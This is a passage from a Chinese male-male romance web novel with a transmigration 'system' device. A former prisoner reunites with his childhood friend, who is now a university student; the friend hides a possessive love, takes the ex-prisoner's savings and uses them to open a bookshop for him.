方闻钟有无数次想过,尤其是刚开始那会儿,萧疏来看他了,他应该怎么说?对不起,我不该擅自行动的……对不起,我不该打人,我,我也不知道他有刀……我不是故意的……萧疏,你考哪了?你肯定考最好的大学了对不对?你等我出去就找你……萧疏,你爸的债你别管了,那些人现在被他闹大了不敢再来找萧疏的麻烦了……萧疏,我在我姥那里还存了一笔钱,你拿去上大学吧,别跟你爸要了,也不用再自己想办法赚钱…… 很多对话,萧疏可能的神情,他在脑海里预演了无数遍。 可最后萧疏没来。 他就一句一句,他说一句,再假装萧疏回应自己一句,把那些重逢的场面演完了。 三年,在他脑海里,他和萧疏见过面,他们该说的都说清楚了。 方闻钟恍惚着,突然被路小远在红灯前一拉,才猛地回过神来。 马上要见萧疏的兴奋,重新占据了他的大脑。 两人被拦在校门口,周围三三两两的大学生们说笑着,路过他们进校园,有些会好奇地看他们一眼,有些则露出鄙夷的神色,这是啥人啊? “快点快点,萧学长的演讲马上就开始了,再磨蹭来不及了。” 一个女生,拉着他的同伴,从方闻钟他们身边跑过去,女生的包,带到了方闻钟胳膊。 保安不让他们进,因为他们不是学生。 方闻钟虽然长得凶,身材宽厚高大,可他在这里还真比较怂,不让进就不让进,他拉着路小远,准备偷偷去学校后面翻墙。 翻墙这事他熟,高中翻过无数次,虽然萧疏不翻,不想和他一起,那他就兴高采烈地翻出去,给萧疏买早餐,再带回来。 想必大学校园也一样。 他们绕着绕着,就走到了学校操场的后边。 “哥,能行吗?”路小远忐忑问道。 “行,”方闻钟黑着脸,要多镇定就有多镇定。 操场上聚集了很多学生,他们都在下边端坐着,高高的主席台上,是一排领导,还有一个身着白衬衫的男生正一只手拄着桌子,一只手调话筒。 他微低着头,额前碎发挡住了清冷的眼神,一举一动,皆是风景。 台下的人有一大半都是单纯来看他的!听演讲嘛,那是顺便。 连男生之间也不免讨论,因为萧学长,不仅是全校学习最好的……还是学生会主席。 下半年他就升大四了,这是他这学期最后一次出席这样的活动。 “尊敬的各位领导,亲爱的同学们,你们好,我是学生代表萧疏……” 路小远刚被方闻钟先推上墙,他就听到了这么一道从话筒里传来,清晰可闻的声音,他抱着墙头,转头看,他们在侧边,主席台上的萧疏只能看到半边身影。 可那男生高大,白净的下颌线,让路小远难以置信。 他,就是萧疏? 路小远再看萧疏一眼,再看墙下努力往上爬的方闻钟,说好的比较瘦比较矮呢,他皱巴巴着脸,觉得方闻钟就是个瞎子。 萧疏这看起来像个竹条似的,他觉得也不比方闻钟矮吧,不过是挺瘦的,但路小远觉得他瘦得很好看。 路小远没文化,不太会形容,他就觉得白衬衣,黑裤子的萧疏,就是人群中最好看的那根笋,有点,有点不太像和他们是一样的人,他一看就是好教养有钱家庭出来的,说是少爷都信。 路小远短短几秒,无数次怀疑自己,再怀疑方闻钟,他就是萧疏? 方闻钟也已经看到萧疏了。 他反应大差不差,嘴巴微微张着,一双眼睛睁大,既是好奇,又是懵逼,“萧,疏?” 方闻钟没坐稳,一个不小心跌进墙去。 “喂!” 路小远大叫了一声。 台上的萧疏声音戛然而止,一点什么东西滑过桌子的噪音,顺着话筒传出一阵长长的刺耳的尾音,嗡—— 一下,所有人的目光都顺着萧疏的目光,看向主席台侧,趴在地上的两个人。 方闻钟心快从嘴里跳出来了,他不敢抬头,直到被保安迅速上来抓住带走,他才扭着头,费劲地看向萧疏,大喊:“萧疏,萧疏!” 萧疏的样子和他想像中大不相同! 他那么耀眼,可又那么平静低调,就像夜晚最美的月光,他不想让行人发现他的美,可行人谁不为他荡漾心神,心旷神怡。 萧疏抬头,看到了方闻钟,他的右手紧紧抓住落在桌子上的话筒线。 可脚步没挪过一点,直到方闻钟被带走,直到那个黑黑的,稚嫩的脸颊,一冒一冒,消失在人群中。 他朝主席台上的领导们点了一下头,演讲继续。 方闻钟和路小远被问完话,赶出学校,路小远刚被教育了一通,这会儿还有些白痴地说:“我们这也算逛大学校园了!”他们被保安拉着走了半大个校园,“嘿,还挺新奇!” 方闻钟一直像丢了三魂四魄,出神地望着大马路,“哥,你是不是认错人了?那真是萧疏?” 路小远第n次问,他第n次不说话。 他就是萧疏。 然后在心里第n次回答自己,可是他为什么那样的反应,萧疏也太平淡了吧,他看到他了,也听到他了,为什么表情变都不变,他也不来找他见他。 方闻钟回头看校门,然后他们又等到晚上,等的那个人,一直没出来。 是不是他刚给萧疏闯麻烦了呀,萧疏作为学生代表好好讲话呢,他那么一大叫,肯定对萧疏不好,哎,方闻钟气恼地锤了一下头,然后眼巴巴地再看一眼校门出来的陌生的人群。 “哥,我要先回家了,”路小远吸了吸鼻子说。 “嗯,”方闻钟说:“我也要回去了,”他姥还在家呢,他们在隔壁的隔壁,一个四五线小城市,和省城差距还是蛮大的。 两人起身,腿都麻了,方闻钟摔摔靴子,往坐公车的方向走去。 从省城到家里有定点发车的大巴,最后一班,时间是晚上八点。 方闻钟低着头,手踹皮衣兜里,上车之后坐到最后面,疲惫地闭上眼。 当车要缓缓前行时,他拉开一点窗帘,忽然看到不远处马路牙子上站着一个挺拔的身影,是萧疏! 萧疏穿了一件夹克,就那么静静地看着他。 他们隔窗相望,方闻钟猛地推开车玻璃,大喊时,车迅速开过的风,吹进他嘴里,然后他离萧疏越来越远,越来越远…… 萧疏注视着他,没说话。 一双眼睛阴郁又冷漠,是他完全看不懂的神色! 方闻钟死死抓着胸口,感觉心里像有把火再烧! 当他喊停车车不停,当他准备跳车时,萧疏已经离开了,方闻钟咚一下,无措地跌回座位。 第33章 偏执的隐藏的占有欲,克制的畸形的爱 “宿主,”系统好奇又小心翼翼地问:“你这是在干什么呢?按照原剧情,你应该装不认识方闻钟,你为什么又跑出来见他呢?” 萧疏笑了一下,就当系统以为宿主不会跟他解释时,它听到他说。 “你觉得方闻钟认为我是一个什么样的人?” “是他最好的兄弟。” “是的,”对方闻钟而言,他们直到现在,都是竹马竹马,萧疏没有骗过他,没有利用过他,“可是‘萧疏’捅过他屁股,”系统脸红红地补充道。 “噗,”萧疏拳头抵着嘴,笑出声,“我接下来的行为应该不算ooc吧。” 系统:“?” 萧疏:“一个从小和他一起长大,吃穿玩乐,住行学习,全在一起的人,暗恋他应该不过分吧?” 系统:“??” 萧疏:“我对他,不是利欲熏心的小人,我只是一个平平无奇,在漫长的陪伴里,对他滋生出畸形的感情的人罢了。” “等等,你在说什么?”系统看着微笑侃侃而谈的萧疏,有些毛骨悚然。 “从小到大,我没有父母疼爱,我所拥有的就只有方闻钟一个人!是他给我吃,给我穿,他对我好,甚至最后差点为我丢了命,坐了牢,他毁了他的大半辈子,就为了不影响我的前途,还不值得我爱他吗?” “可是,同性恋是不被允许的,他姥也不让我们在一起,让我以后滚远点,不要再缠着方闻钟,那我只能压抑自己的情感,我只能沉默地在远处看着他,不接近。” 利欲熏心的学神? 那只是对外的人设罢了,对方闻钟,只有没被发现的,偏执的隐藏的占有欲,和克制的畸形的爱,“这样合理吗?”反正对方闻钟而言,这样绝对算不上ooc,【规则】判定扮演者是否ooc,是根据主角受的主观感受判断的,只要方闻钟不觉得萧疏不像萧疏,那就没问题。 系统已经傻眼了,还可以这样? 宿主给自己的剧本,单加了一条神奇的感情线,不过系统仔细想想,好像的确很可行!为最后HE的结局,直接开辟了新信道! 它偷摸摸打量已经恢复冷静的宿主,暗想:可怕,这就被他想到最好的办法了? ‘偏执的隐藏的占有欲,克制的畸形的爱?’系统默念了一遍萧疏的隐藏款人设。 为主角受默哀。 方闻钟要面临可能随时随地都要发疯的萧疏了……嘿嘿,不过这独一份的感情线,只有它一个统才能先看到! 至于剧情线,更不用操心了,那是宿主的强项! 方闻钟到家时已经半夜了,他花了几天时间,把家里打扫了一下,又从他妈那儿接回他姥。 听说他姥自三年前,他被判刑后,差点生病丢了命! 是萧疏来他家里及时发现的,才把中风的老太太送医院去,后来萧疏就再也没回来过! 邻居说听到方闻钟姥和萧疏吵架了,方闻钟也能理解,他这事儿,怪不到萧疏头上,可老太太怎么想谁能控制……那时候老太太虽然生病了,但救回来后人还是清醒的。 后来就被他妈接去和她们一起生活。 可是老太太平日里一直念叨方闻钟,念叨着,念叨着,抱着他妈的小儿子说‘我大孙子呢?我大孙子呢?这不是我大孙子!’。 她把方闻钟母亲的第二个孩子摔地上! 以后,方母就不敢再让她乱来了,老太太也就越发糊涂,现在方闻钟出来,要接走糊涂的姥,方母举双手赞成! 对这个儿子,因着他父亲那个渣男的影响,她实在亲不起来,无论是他坐牢也好,以后怎么生活也好,只要没到死的那一步,就轮不到她关心。 方闻钟也知道他妈的态度,这么多年早习惯了,但看着一直念叨他,担心他,现在还糊涂不记事也不记得他了的姥,方闻钟还是忍不住愧疚地流下泪来。 姥认不出方闻钟了,方闻钟说我是你大孙子,姥就说什么都要跟他回去一起。 重新安置在原来的那个家里,方闻钟一边照看着姥,一边计画赚钱的事。 在狱里,他认识一个老大哥,老大哥出不来了,就偷偷告诉他他有一笔货,只要方闻钟出去把那笔货卖了,肯定能赚好多万,他要求不多,就要求方闻钟逢年过节的给他上个香,然后去他家祖坟一趟。 这笔货是干净的,只不过他还没来得及卖,和方闻钟投缘,他才愿意把这个天降馅饼给他。 方闻钟跋山涉水,才知道那笔货是一批新型的智能机,在2x10年间,这是非常珍惜和新潮的,方闻钟果然靠这批手机,赚了十七八万! 他把七八万留下以后给那个老大哥上香用,整数用在自己身上。 到这会儿,距离他从省城见完萧疏回来,已经过去大半年了。 智能机是个什么东西,方闻钟没怎么研究过,他也不太会弄,但有那么多有钱的人买,方闻钟就知道,这是个好东西,他给萧疏留了一部,准备以后送给他。 在家的后半年日子,方闻钟渐渐和邻里邻居又熟悉起来。 邻居说,幸好知道你是怎么进去的,还是一片好心,不然知道他这么个二十来岁的小夥子,坐过牢,长得还这么凶,不熟悉的人不得避着点啊? 方闻钟就尴尬地笑笑。 “姨知道你是个好人,萧疏那孩子呢?怎么考上学就没回来过了?” “萧疏他爸也在那年抓进去了,听说是萧疏自己报的案,”姨们坐在方闻钟旁边凑近说悄悄话。 方闻钟听到这个消息,不知怎么松了口气。 “钟啊,你怪不怪萧疏啊?” 姨们打着毛衣,八卦又打发时间似的问方闻钟。 方闻钟嗤道:“这和萧疏有什么关系?是我不分轻重伤了人,我活该,”被一女人打了一下胳膊,“好了好了,都过去了,以后好好过日子。” …… 方闻钟转身往家走着,他是真这么想的,三年牢狱之灾,他一点没怪过萧疏,反而一直担心他,害怕连累他。 所以他觉得萧疏应该也不会讨厌他,嫌弃他,为他愧疚?更不用了。 方闻钟干裂的唇咂摸着,既然他和萧疏还是那么好的兄弟,他们没有隔阂,那为什么萧疏那次不见他,后来又偷偷跟出来,用那种眼神看他呢。 方闻钟再回想起来,还是一阵心悸。 不过方闻钟越来越意识到,虽然他还是萧疏的好哥们,但以后可不能再在他同学和老师面前那样大声叫他了,影响不好,萧疏现在身边全是优秀的人,他们,毕竟不一样。 方闻钟拖着沉沉的步子,萧疏那一日的身影,在他脑海里越来越深刻起来,那家夥,怎么长那么高了,他看着得有快一米九! 以前被他胳膊搭着压在身下的竹马,现在他再做那个动作,恐怕得稍微抬个胳膊踮个脚。 天气再热起来,方闻钟按捺不住躁动的心,打算带他姥去省城生活,这里没啥好工作,还要天天听人唠闲话,虽然没啥恶意,但时间久了他也烦,最关键是,除了他姥,他唯一记挂的人在省城! 既然萧疏不回来,他就搬去那边吧,姥脑子糊涂了,在哪只要在他身边都一样。 第一步就是收拾家当。 第二步,他准备去省城的工程队干活,他没学历,屁都不懂,但好处是身体素质好,工地上干活,也不要求提供以前的经历,他可以安安心心地挣苦力钱。 第三步,租房子,租离萧疏学校近的房子。 萧疏这一天,遇到他们一个高中的同学,那男生考到别的学校,和他们一个大学城,离得不远,见到萧疏本来不想跟他搭话,但想到前段时间回家看到方闻钟了,他就没忍住上前提起了方闻钟。 “他现在据说可挣了不少钱呢,不知道从哪挣的,听我妈说天天带他姥去医院检查身体,给他姥买补品。” “哎,你和方闻钟还来往吗?他出事,可是为了你啊,”男生眼含兴味,打量着三四年完全变了一个样的萧疏。 萧疏听说他挣钱了,停下脚步。 男生心底里嗤笑一声,他可知道,萧疏表面上光鲜亮丽,暗地里还不是靠自己一点一点兼职给自己辛苦挣生活费和学费,“方闻钟要和他姥一起来这边生活了,在你们学校附近打听租房子的事呢。” 十多天后,方闻钟刚和姥在一家小二居安顿下来,开窗通风呢,忽然就看到楼下站着的萧疏! 萧疏穿着一身风衣,抬头望向二楼。 方闻钟震惊的表情被他一瞬不瞬全收进眼底, 他看到了方闻钟想跑下来,萧疏转身就想走,“小梳子!你敢跑我就一辈子不理你了!”急的方闻钟喊出了好多年前的外号!一个萧疏很讨厌,他很喜欢,经常在心里偷偷叫的外号! 方闻钟不懂萧疏在干什么,但既然他都找到这里来了,他愿意见他,方闻钟怎么不追上他好好见一面,抱一抱,叙个旧! 萧疏刚停脚,就听见后面方闻钟直接从二楼窗户一下跳下来了,跳下来的一瞬,二楼窗口颤颤巍巍伸出来一个老太太的头,她嘴巴微动着,“大孙子,大孙子……” “姥,我没事,我待会儿上来!”方闻钟朝上喊。 姥没看萧疏,萧疏盯着老太太,看了半晌,直到方闻钟跑上来,一拳砸在他肩膀处。 “萧疏,你来了!” “我就知道你肯定会来,”才不会不理他,方闻钟说第二句时,声音越来越低,他克制着好险没丢脸淌眼泪。 萧疏被砸得身体一偏,他仔细看了方闻钟好久,然后就准备走,“以后别叫我小梳子。” 方闻钟一下拉住他的手,“干嘛急着走啊,”方闻钟又急声音都开始抖了,“不叫就不叫,我姥脑子糊涂了,可能不认识你了,你上去坐坐呗,参观一下。” 听到姥糊涂了,不认人,萧疏抬头,“好。” 坐在二楼方闻钟的小卧室里,刚才跳窗的大卧室,向阳的,是姥住的一间,他这一间就比较小一点,二居室本来就不大,还是老房子,地面瓷砖都不白了,萧疏坐在床上,伸手去摸床边放东西的桌子,这个布局,和他以前的房子一模一样。 方闻钟忽然脱掉了上衣,他就站在萧疏面前,不管不顾地脱掉长袖T恤,从头上脱下来,带的头发滋啦一阵静电。 方闻钟笑得又傻又开心。 收拾东西弄脏了,身上都是汗,看萧疏这么干净,这么,帅,他有点不好意思,还想抱抱萧疏和他叠罗汉玩呢,这怎么下得去手,萧疏不嫌他脏他也舍不得把萧疏弄脏弄臭。 却见萧疏的眼神眨也不眨盯着他的胸前。 方闻钟立马鼓了鼓肌肉,让胸肌跳动了两下,然后给萧疏显摆,“你看,我这几年是不是越来越厉害了?” 萧疏抬眼,嘴角勾起,又迅速放下,他冷淡的狭长的桃花眼,往下压了压。 手指按到自己的胸肌上,方闻钟才像被定身了一样,张着嘴,看着萧疏伸过来的白皙匀称的手指。 他修长的指尖按了按,“还行。” 方闻钟触电般的回神,“你,你,吓我一跳,”他竟然结巴了。 萧疏好整以暇地坐在床上,很快,方闻钟冲完澡,出来兴致勃勃地把他准备的礼物给萧疏。 他拿出手机,可能是太高兴了,萧疏愿意来见他,他们很快就恢复成以前的样子,方闻钟越说越来劲,一会儿就在萧疏面前的地上盘腿坐着,“萧疏,萧疏,”他亲切又藏着一丝丝小紧张,“你想我了没?” 萧疏伸手。 方闻钟一下快速站起来,扑进他怀里!整个人压在萧疏身上,他大脑袋在萧疏脖子里拱来拱去,“小梳子,快四年了,我可想死你了!我就只有你一个好兄弟了!” 萧疏的手落在他光滑的后背上,一下一下,抚摸,他说:“我也就只有你一个人了。” 声音嘶哑又低沉。 第34章 萧疏:“我老婆”。 兴奋地和萧疏吃完饭,方闻钟问起他怎么知道自己租房了,还直接找到这里来了。 萧疏说:“高中同学说的。” “以后就打算住这里了吗?” “嗯,”方闻钟憧憬着,“这里离你也不远,萧疏,你以后想来这边就来这边吧,我最近学会了做饭,给我姥做着吃,我姥可爱吃了,我尝着味道也不错,你想吃啥告诉我我学着给你做呗?” 萧疏吃完辣的,嘴唇又红又润,他喝了一口水,抬头,“好。” “你赚钱了?” “嗯,”方闻钟立马起身,没避着萧疏,从一个上锁的小柜子里取出几沓厚厚的百元大钞票,然后拿过来给萧疏,“这里是五万块钱,萧疏你好好念书吧,这些应该够你几年花的了。” 他大方又坦诚。 萧疏却说:“不够,我们研究生学费一年就要两三万。” “啊,”方闻钟心里一紧,“这么,这么贵啊,”他踌躇着,又转身,添了一万块钱,“那这六万你先用一两年,萧疏,你别有压力,我会挣钱的。” 把萧疏的生活费学费,负担到自己身上,好像对方闻钟而言是自然而然的。 萧疏说:“你一共有多少钱?” 方闻钟老老实实交代了,除了这一年挣的十万,还有以前存的一两万,以及他妈给的给他姥用的五万块钱,不过那五万,以及另外早存的七八万,是方闻钟从没想过动的,于是他就说:“十一万。” “给我十万,”萧疏狮子大开口,“另外一两万够你先用个把月。” 方闻钟眼神偷偷看萧疏,想问一嘴,要这么多钱干啥呀,可看萧疏冷着脸,他现在这幅生人勿进的样子有点让他不敢再像以前一样了,想趴在他身上就趴在他身上,想欺负他就欺负他,想说什么就说什么。 “唔,”方闻钟把所有钱,一点点往萧疏方向推去。 萧疏全部收了。 “我走了。” “小梳子!”方闻钟又焦急地叫了一声,萧疏回头,他局促地摸摸后脑勺,“这就走吗?还,还会来吗?” 萧疏握着门把手,压下声线,“我再说一遍,不要叫我小梳子。” “不叫你小梳子叫什么啊,萧疏也太生分了,叫弟弟?那你还不叫我哥哥呢……” 他头突然就撞在前面忽然停下地萧疏背上,这一刻,方闻钟如此直观地感受到,萧疏真的比他还高半个头! 萧疏回头,手柄他推远了点,“哥,哥,”他两个字突然叫得玩味又狡黠,后又拿起智能机,“谢谢你的礼物,我有时间再来。” 方闻钟脑海里回荡了一天哥哥,哥哥…… 对于他们一年前那次见面,萧疏为什么反应那么奇怪,方闻钟没再问。 反正他们现在照样是好兄弟就行了。 他笑得见牙不见眼,方闻钟上楼,看到仅剩的一万多块钱,暗想要赶紧挣钱! 萧疏他们上学可真不容易,学费这么高啊,他感觉到一点点压力,还有姥,方闻钟迅速穿上旧衣服,第二天,立马去工地报道。 几天下来,他已经习惯了工地干活的节奏,累是累点,方闻钟别看身体倍棒,但以前也没这么卖过力气,几天下来,他手心里磨出茧,又不小心扯掉,疼得龇牙咧嘴,脚上也被一块砖头不小心砸青了。 但是工资日结,每天都能拿到两三百块钱,他就很满足。 这天,方闻钟在附近转悠买菜呢,不小心也见到了之前和萧疏说过话的高中同学,“你还真住这里了!” 他给方闻钟透露了一个消息,“哎,听说你赚的钱是你姥的养老钱,我劝你啊,防着点萧疏,你以为他还和以前一样,是你好朋友呢?” 同学神色鄙夷,其实以前他也没觉得萧疏拿方闻钟当朋友,他就不小心撞到过,萧疏暗地里对方闻钟表情很不屑,天天像个乖小孩跟在方闻钟后边,指不定就是为了骗钱呢。 萧疏大学也过得很拮据,现在方闻钟有钱,他如果又黏上来,同学不免怀疑,他是不是又想利用方闻钟呢? 告诉方闻钟这些,并不是他对方闻钟好,而是凑个热闹,找个闲事看个笑话罢了。 “你小心他把你的钱全骗走!” 方闻钟紧紧抿着唇,嘴巴却道:“关你屁事!滚!” “你怎么不识好歹啊!”同学看到方闻钟凶狠的表情,一想,这人杀过人,坐过牢!他顿时怂了,再一句话不敢说!赶紧溜了,以后离这两人远点! 方闻钟表情正常地上了楼,做饭,等萧疏晚上回来。 萧疏用他的智能机给方闻钟的老机子发短信了。 在家里方闻钟穿着拖鞋,他大脚丫子上的淤青,自然被萧疏看到了,而手上的茧撕烂后,看着就疼的伤疤,萧疏也看在眼里。 他提上来的药,方闻钟边高兴地笑嘻嘻给自己抹药,边听萧疏说:“以后别去工地了,你不合适。” 方闻钟张口就来,“哪不合适了,”他拍拍自己的胸膛,因为笑露出白牙,更显得脸黑了,这几天没少晒。 “我觉得很好啊,再说嘛,我也干不来别的,嘿,你不知道,现在随便都要个高中学历了……”方闻钟声洪如钟,他胳膊上的肱二头肌因为他动作,一会儿鼓起来,一会儿平整下去。 萧疏摸了摸他脖子,和后背,对他说都晒出边界线了,皮肤在萧疏手底下任他触摸,方闻钟没躲。 萧疏:“再等我两天。” “好,”方闻钟随口就应,压根不知道萧疏让他等什么。 闲聊间,他把智能机、赚钱的事,都告诉萧疏了,狱里的事,他不大爱提,就随口说了几句,萧疏一直认真听着,但关于他自己,他几乎只字未提。 “方闻钟,你还爱看武侠小说吗?” 方闻钟被萧疏问得一愣,他脸颊僵硬了下,很快自然道:“我都好多年没看过书了,现在你再让我看,武侠我也看不进去了……” 其实是没有时间,也没有心情。 这周末,萧疏说什么都要带他去一趟旧书市场,萧疏执拗,方闻钟只好旷工陪他,走在路上,他以为他们俩的样子:应该是他是老大,是一看就不好惹的大哥,萧疏是个乖仔小弟,他那么白净,一看就是好学生,方闻钟都准备好好带萧疏去见见社会了,谁料萧疏穿了一身黑! 他的夹克还遮住了下巴,只露出半张脸,在前面领路时,方闻钟觉得他才是小弟。 他瞅着前面两条大长腿,怎么忽然有种他是给萧疏当保镖的感觉? 不过也没错嘛,小梳子虽然长高了,但还是挺弱的,他是应该保护他。 到达旧书市场,这里其实也有很多新书,还有盗版的,萧疏拉住方闻钟一个铺子一个铺子转,方闻钟刚开始心不在焉,后来在一个店铺时间长了,果然让他看出点兴趣来,他捧着一本新武侠,一边看得津津有味,一边吐槽,这什么啊,这不对…… 萧疏站在店门口,老板跟他闲聊,“你……什么人?”他抬眼示意方闻钟,想半天,没猜出方闻钟是萧疏什么人? 这俩男生啥关系啊?也不像同学。 萧疏眼神扫过去,又收回来,他把下巴埋衣服里,张口就来,“我老婆。” 哈? 老板差点从椅子上摔下来,手里的文玩也不转了。 萧疏的嘴角在衣服下面高高翘起,他很快抬头,神色正经地说:“我老哥,你听成什么了?” “哦,哦哦。”老板惊魂未定。 方闻钟听见叫他哥了,他很快把书放下,过来站萧疏面前,“我们走吗?” 他们最后买了十几本武侠,方闻钟说浪费钱,说有些书其实一般,萧疏就叫他先看,看完给他讲,“我没时间看……” “嘿!”方闻钟一下跳起来揽住萧疏脖子,“以前我要给你讲!你死活不听!嫌我吵!现在怎么愿意听了?” 以前啊?萧疏抬头看前方,那是方闻钟记忆里美好的过去,但不是他的。 他转头朝他笑了一下,“是我不识好歹,好吗?” 和萧疏重逢,他很少笑,这一笑,就把方闻钟看愣了,他只觉全身上下暖呼呼的,还,还有点不自在,他放下胳膊。 “你知道就好,”傲娇地说。 只有在萧疏面前,他才可以不是姥懂事的大孙子,不是工地上一喊就必须到的小方,他是萧疏的好竹马,是能被他逗笑的好朋友。 出旧书市场,最后一个摆在地上的书摊,方闻钟好奇也过去随手翻了翻。 萧疏蹲在他旁边,方闻钟把眼前的快速扫完,忽然看见右上角一本被压在下面的,封面好像有点眼熟,是两个男人穿着古装。 他顿时来兴趣了,一把抽出来。 萧疏看到要阻止时,已经迟了。 方闻钟翻开,萧疏就干脆任他看,不再阻拦。 方闻钟翻着翻着,有些奇怪,书里怎么描写,描写的好像不对劲?两个男人,脱了衣服在温泉里干什么? 他们在互相摸下边,然后啊啊叫着,是……练功? 他紧皱着眉头。 萧疏大手压上去,合上书,“眼熟吗?” 什么?方闻钟望过来的眼神还有点迷茫,“四年前,高考前一个月,我们打完架,你在我床上看到的那本书,那天,你非要叫着和我一起洗澡,我不开心你偷看我的书,乱动我东西,对你生气了,还对你……” “还对我用了刑!” 方闻钟很快认真接道。 这一下,把萧疏给整不会了。 “对,你说得对,”他噗哈哈一下大笑出声,然后再也停不住。 方闻钟更莫名其妙,“萧疏,你在笑什么?” 萧疏一把把那本书扔回地上,拉着他就走,“我还没看懂呢,”方闻钟往后扭头,“再看看呗。” 萧疏强制扭回他脖子,“不看了,以后有时间让你慢慢学。” “啊?” “方闻钟,我用你的钱开了一家书店。” “我调查过,在大学城开一家书店,卖考研数据卖电子产品,很赚钱,你之前不是卖过手机嘛,正好有经验,你还可以边看店边看你喜欢的武侠小说,怎么样?” 方闻钟停住脚步,“小梳子?” 第35章 方闻钟:“小梳子,我们四年没睡了,想你。” 书店就在家楼下,离学校正门口不远处的第二条街道,方闻钟刚开始一头雾水,可很快在萧疏的帮助下一批批进数据,书籍一本本整齐地摆在书架上,分门别类。 店里装修简单,就是原木色的桌椅,以及几盏灯和几盆草。 方闻钟利落地从上扫到下,再把地上的纸板类垃圾全收走,大脚一踩,就压得严严实实。 做这些时,他一直笑着。 尽管前几天,还紧张地跟萧疏说‘我不懂啊,我连高中都没读完,萧疏,小梳子!考研数据是什么鬼啊?不能别人让我找语文我给人找地理吧?’…… 萧疏说:“你认字就行。” 他不是真安慰他,萧疏紧急培训了方闻钟两天,总算让他知道了考研学生们爱买的哪些数据,他不需要看懂,只需要能说得上个好坏,能把书卖出去就行。 而且现在,学生们自己可会挑了,要不到老板帮忙。 方闻钟机灵点,看一段时间店,自然知道怎么维持下去。 十万块钱,萧疏花的一分没剩,还给他店里配了几台平板,这个价格比较高,萧疏让他能卖动就卖,卖不动天天在店里播放网课也行。 店里终于要开门了,方闻钟很急切,一是害怕他干不好。 让萧疏的心意打水漂。 至于他出的钱?那钱给了萧疏,就是萧疏的,随便他怎么用。 方闻钟只是没想到,萧疏看不下去他在工地上受苦,给他找了个这么个和他不搭边的工作。 不过这个工作可以天天看到萧疏,他就再手足无措,也愿意学着一步一步上手。 二是他想赶快靠书店挣钱。 几天不上工地,两三百块钱没了,他们还要花销,方闻钟还惦记着萧疏没钱了怎么办。 愁啊。 萧疏给他店里招了个新员工,据说是早一年考研没考上的女学生,在附近住呢,一天工资不多,但愿意来他这里上班。 总算有个懂行的,方闻钟终于稍微松了口气,并下决心,要天天看看她怎么干,怎么卖书,他得快学会,然后把这店员开了,能省则省。 抠门老板如是想到。 开店的一周,方闻钟陆陆续续能有一些进账,有天卖出去的多一点,他就全表现在脸上,晚上吃饭都要加菜!要是卖不出去几本,方闻钟就耷拉着肩膀,不自觉地唉声叹气…… 每个顾客进来都会被方闻钟暗中观察,他突然想到了萧疏的学习方法,拿出一个小本本,笨拙地记下每次听到的消息,再事后慢慢查,‘哦,原来英语还考这么多啊,这个老师好啊?好在哪里?那说的431又是什么课?’,他的笔都快被他咬烂了。 萧疏偶尔看到他一个小本子已经快被他又丑又烂的大字画满,笑出了声。 方闻钟脸涨红,一把夺过,“你看什么看。” 萧疏挑眉,“干得不错啊,为什么不让看?” 被夸奖了,方闻钟立马高兴再凑上来,“萧疏,我觉得我最近被书本熏透了,这文化水平,都快赶超我人生的巅峰了!”嘁,高中没毕业算什么!他可是卖考研数据的。 萧疏说了一句外语,方闻钟懵头懵脑。 “什么?” 萧疏:“你真厉害。” 女店员奇怪地看了萧疏一眼,再看已经凑到萧疏身边的‘混混’老板,没吭声。 原谅她用混混这个词形容方闻钟,方闻钟身上实在没有一点书香气,说他是街头老大有人信,说他力能扛鼎抄起板凳不是干活就是干架也有人信,就是没人信他窝在一家小小的书店里,乖乖坐着,委屈地咬笔头学习怎么卖书。 这天,晚上九点多快闭店了,第二天周末,方闻钟央求着萧疏不让走,“你和我挤一挤呗,你明天又没啥事,”他们还在店里,很短的时间,方闻钟就对萧疏亲密有加,他很快恢复了和萧疏最铁的关系。 甚至因为他们长大了,互相懂事了更体贴了,他现在对萧疏简直像有瘾似的,就想和他一直待在一起。 萧疏怎么不是他亲弟呢。 哎,也不愿意再叫他哥哥了,哄萧疏叫他一声哥,他简直跟小狗和主人讨要赏赐似的。 萧疏不同意,“你房间太小了,我要回宿舍。” 方闻钟揽着萧疏的脖子,和他咬耳朵,“小梳子,求求你嘛,我们四年没睡了。” 萧疏侧头,就看到他纯洁的目光睫毛眨啊眨,“呵,”他气笑了。 “你好,还能买书吗?我比较着急,”店门口突然进来一个很漂亮的女生,她抱着几本书,声音很温柔又小声地询问。 她应该之前来过,知道方闻钟是老板,所以目光一直看着他。 至于萧疏,一个学校的,怎么可能没听过他的名声,但萧疏历来淡漠无情,她也就不跟他眼神交流,打招呼。 看到这么漂亮的一个女生问话,方闻钟立马跑上去,跟屁虫似的,“可以啊,你要买什么,我可以帮你挑挑。” 萧疏坐在收银台后,抬着头看大半夜方闻钟和那女生聊了十来分钟,才算是卖了两本书带走,女生走了,他还笑说:“慢点啊,天黑了,有需要再来。” “好,谢谢老板,再见。” 女生朝方闻钟笑,方闻钟已经低头,把钱收进萧疏前面的抽屉里。 萧疏忽然一脚踢上抽屉,“我走了。” 本来说好就不住,方闻钟也没再挽留,“好,你也慢点啊。” 萧疏站在门口,回身,“放心,我出不了事,要出事也是别人。”他一下把拉链拉到最上面,挡住脸。 萧疏语气不好,方闻钟很快听出来了,愣了,萧疏走出去好几步,他才追上前,“萧疏,明天我给你带早餐啊,我去接你好不好?” 萧疏回了一下头,没吭声,方闻钟当他默认。 店里只剩他一个人,关了灯,方闻钟才收起微笑的神色,萧疏刚才,是嫌弃他太谄媚了?还是太不专业了? 方闻钟有些丢脸地抹抹脸,他没办法稳坐收银台,就等着学生自己来结账,他唯一会的就是态度好点,上赶着点,才能快速学起来。 刚是不是,在漂亮女生面前,给萧疏丢脸了? 萧疏会因为认识他,觉得他的样子让他难堪吗? 方闻钟突然想到,他和萧疏见面这么长时间了,可从未见过或听过萧疏有哪一个朋友,他的熟人,他从没带到他面前来。 而他方闻钟,也只占萧疏忙碌的大学生活的一小部分。 他和他们当然不一样,能和萧疏上一所大学的人,必然都是好学生,都是佼佼者,就算他没坐过牢,也和他们相差甚远,融不到一起。 所以萧疏是怕他和他的熟人没话说,尴尬,或者怕他丢他人,才一直不愿意带他和其他人认识吗? 以上这些都是方闻钟短时间内乱想的,第二天,他照常给萧疏去送早餐。 答应了他就要去做嘛。 他大早上弄了包子,有煎有蒸的,一个人偷摸摸来到萧疏宿舍楼楼下,他拘谨地站在小花坛后面等。 路过的每一个男大学生,他都没有多余的眼色,倒是有人,路过看了他好几眼。 一直到萧疏快下来了,方闻钟看到他身边还有两个人。 好像是他的舍友,方闻钟猜测。 